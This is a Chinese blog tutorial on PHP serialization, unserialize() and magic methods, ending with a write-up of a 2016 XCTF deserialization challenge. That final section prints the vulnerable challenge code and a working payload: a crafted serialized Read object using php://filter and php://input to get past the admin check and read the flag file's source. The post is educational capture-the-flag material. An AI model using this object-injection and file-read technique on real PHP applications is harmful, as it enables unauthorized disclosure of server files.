听说，这个是CTF中最重要的问题······

漏斗社区

发布于 2018-03-28 15:04:17

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发布于 2018-03-28 15:04:17

0x00 序列化和反序列化

简单的理解：序列化就是使用serialize()将对象的用字符串的方式进行表示，反序列化是使用unserialize()将序列化的字符串，构造成相应的对象，反序列化是序列化的逆过程。序列化的对象可以是class也可以是Array,string等其他对象。

0x01 对象序列化和反序列化的功能作用

1. 对象序列化的功能作用

概念：对象是在内存中存储的数据类型，寿命通常随着生成该对象的程序的终止而终止，但是有些情况下需要将对象的状态保存下来，然后在需要使用的时候将对象恢复，对象状态的保存操作就是对象序列化的过程。对象序列化就是将对象转化为2进制字符串进行保存。 作用：将对象的状态通过数值和字符记录下来，以某种存储形式使自定义对象持久化，方便需要时候将对象进行恢复使用，用于对象的传递以及使程序代码更具维护性。 语法：在创建对象class后使用serialize()函数将声明的对象的某个状态转化为字符串然后进行保存或传递。

示例代码： class serialize code:

1.<?php
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.class Person{
9.private $name = 'Thinking';
10.private $sex = 'man';
11.
12.function say($name,$sex){
13.echo 'My name is'.$name.'I am a '.$sex;
14.}
15.
16.}
17.$Person = new Person;
18.echo serialize($Person);
19.$saveData = serialize($Person);//序列化后的字符串，可以保存在数据库中或者文本文件中等。
20.echo "\n".'save data is: '.$saveData;
21.?>

output: O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";} save data is: O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";}

array serialize code:

1.<?php
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.$Person = array('name' => 'Thinking' ,'sex' => 'man');
9.echo serialize($Person);
10.$saveData = serialize($Person);//序列化后的字符串，可以保存在数据库中或者文本文件中等。
11.echo "\n".'save data is: '.$saveData;
12.?>

output: a:2:{s:4:"name";s:8:"Thinking";s:3:"sex";s:3:"man";} save data is: a:2:{s:4:"name";s:8:"Thinking";s:3:"sex";s:3:"man";}

序列化后对象的格式：

引用上述示例代码中的输出结果。 output: O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";} a:2:{s:4:"name";s:8:"Thinking";s:3:"sex";s:3:"man";}

对象类型:对象名长度:“对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:“变量名2”; 参数2类型:参数2长度:参数2;… …}

对象类型：Class：用O表示，Array：用a表示。 变量和参数类型：string：用s表示,Int：用i表示,Array:用a表示。 序列符号：参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。

2. 对象反序列化的功能作用

概念：将存储好的或者进行传递的序列化后的字符串转化为对象，然后在用于对象的操作，是序列化的逆过程。

作用：把序列化后的字符串转化为对象，恢复原本对象后用于程序或代码的各种操作。 语法：使用unserialize()将序列化后的字符串转化为对象进行使用。

示例代码： unserialize code：

1.<?php
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.$saveData = 'O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";}';
9.var_dump(unserialize($saveData));
10.?>

output：

1.class __PHP_Incomplete_Class#1 (3) {
2.public $__PHP_Incomplete_Class_Name =>
3.string(6) "Person"
4.public $ Person name =>
5.string(8) "Thinking"
6.public $ Person sex =>
7.string(3) "man"
8.}
9.

0x02 反序列化存在的问题

问题原因：漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法，而且魔术方法中的代码或变量用户可控，就可能产生反序列化漏洞，根据反序列化后不同的代码可以导致各种攻击，如代码注入、SQL注入、目录遍历等等。

魔术方法：PHP的类中可能会包含一些特殊的函数叫魔术函数，魔术函数命名是以符号__开头的; 有以下的魔术方法： __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set(), _state(), __clone(), __debugInfo() ...

反序列化漏洞中常见到有一些魔术方法： __construct()：在对象创建时自动被调用； __destruct()：在脚本运行结束时自动被调用；__sleep()：在对象序列化的时候自动被调用；__wakeup()：在反序列化为对象时自动被调用；__toString()：直接输出对象引用时自动被调用；

0x03 魔术方法的触发

(1)构造方法__construct()

构造方法是类中的一个特殊方法。当使用 new 操作符创建一个类的实例时，构造方法将会自动调用，其名称必须是 __construct()。在一个类中只能声明一个构造方法，而是只有在每次创建对象的时候都会去调用一次构造方法，不能主动的调用这个方法，所以通常用它执行一些有用的初始化任务。该方法无返回值。语法： function __construct(arg1,arg2,…) { …… }

[example]:__construct() code:

1.<?php
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.class Person{
9.private $name = 'Thinking';
10.private $sex = 'man';
11.
12.function say($name,$sex){
13.echo 'My name is'.$name.'I am a '.$sex;
14.}
15.function __construct(){
16.echo ' __construct is work';
17.}
18.}
19.$Person = new Person;//创建的时候触发魔术方法
20.?>

output: __construct is work

(2)析构方法__destruct()

允许在销毁一个类之前执行执行析构方法，与构造方法对应的就是析构方法，析构方法允许在销毁一个类之前执行的一些操作或完成一些功能，比如说关闭文件、释放结果集，程序运行结束等。析构函数不能带有任何参数，其名称必须是 __destruct()。 语法： function __destruct() { …… }

[example]:__destructcode:

1.<?php
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.class Person{
9. private $name = 'Thinking';
10. private $sex = 'man';
11.
12. function __destruct(){
13. echo '__destruct is work'. "\n";
14.    }
15.
16.}
17.
18.$Person = new Person;
19.sleep(5);//代码程序运行结束后或被释放时候触发
20.?>

output: 先延迟5s，等待代码执行结束，再打印 __destruct is work。

(3)__sleep()和_wakeup()方法

__sleep()是在一个类的实例被序列化了的时候调用，_wakeup()是在反序列化时被调用。__sleep()必须返回一个数组或者对象，而一般返回的是当前对象$this。返回的值将会被用来做序列化的值。如果不返回这个值，自然表示序列化失败。同时也会连累到反序列化时不会调用__wakeup()方法。

[example]:__sleep()``__wakeup()code:

1.<?php
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.class Person{
9. function __sleep(){
10. echo '__sleep is work'. "\n";
11. return $this;
12.    }
13.
14. function __wakeup(){
15.
16. echo '__wakeup is work';
17.
18.    }
19.}
20.
21.$Person = new Person;
22.$saveData  = serialize($Person);//序列化时候触发__sleep()
23.unserialize($saveData);//反序列化时候触发__wakeup()
24.?>

output: __sleep is work __wakeup is work

(4)__toString()方法

如果我们想打印出一个对象，就需要调用__toString()这个魔术方法了,该方法会在直接输出对象引用时自动被调用，此方法必须返回一个字符串，否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

参考：http://php.net/__toString

[example]:__toString()code:

1.<?php
2./**
3. * Created by PhpStorm.
4. * User: Thinking
5. * Date: 2017/10/18
6. * Time: 11:25
7. */
8.class Person{
9. private $name = 'Thinking';
10. private $sex = 'man';
11.
12. function say($name,$sex){
13. echo 'My name is'.$name.'I am a '.$sex;
14.    }
15. function __toString(){
16. return '__toString is work';
17.    }
18.}
19.$Person = new Person;
20.echo $Person; //输出对象的时候被调用
21.?>

output: __toString is work

其他方法的介绍参考： http://www.5idev.com/p-php_member_overloading.shtml http://php.net/__toString

0x04 一道CTF中反序列化例题

2016xctf的反序列化题目 index.php的源码：

1.<?php 
2.$user = $_GET["user"];  
3.$file = $_GET["file"];  
4.$pass = $_GET["pass"];  
5.
6.if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){  
7. echo "hello admin!<br>";  
8. if(preg_match("/f1a9/",$file)){  
9. exit();  
10.    }else{  
11. include($file); //class.php  
12.        $pass = unserialize($pass);  
13. echo $pass;  
14.    }  
15.}else{  
16. echo "you are not admin ! ";  
17.}  
18.
19.?> 
20.
21.<!--  
22.$user = $_GET["user"];  
23.$file = $_GET["file"];  
24.$pass = $_GET["pass"];  
25.
26.if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){  
27. echo "hello admin!<br>";  
28. include($file); //class.php  
29.}else{  
30. echo "you are not admin ! ";  
31.} echo "you are not admin ! ";
32.}
33.-->

class.php的源码：

1.<?php 
2.class Read{//f1a9.php  
3. public $file;  
4. public function __toString(){  
5. if(isset($this->file)){  
6. echo file_get_contents($this->file);      
7.        }  
8. return "__toString was called!";  
9.    }  
10.}  
11.?>

源码分析：首先index.php源码中的第6行使用file_get_contents读取user参数的值，然后在源码的第6，11行存在文件包含，第12行 unserialize($pass)反序列化函数的参数可控，在第13行执行了 echo $pass; 在class.php源码中使用了__toString()魔术方法，然后return "__toString was called!";,所以根据本篇的上半部分介绍此处满足__toString()魔术方法触发条件，所以存在反序列化漏洞，其中第6行file_get_contents是用来读取$file变量的文件的，并且给出了提示，//f1a9.php；所以本题的考点就是利用文件包含使用php://input的封装协议传入user参数的值，满足index.php源码中的第6行的条件，在pass参数中传入序列化后要读取的flag文件。

最终PAYLOAD： 首先构造序列化的字符串O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}然后进行如下请求。 GET DATA ：?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;} POST DATA：the user is admin

先进行上面的请求，然后得到经过base64编码过的f1a9.php源码。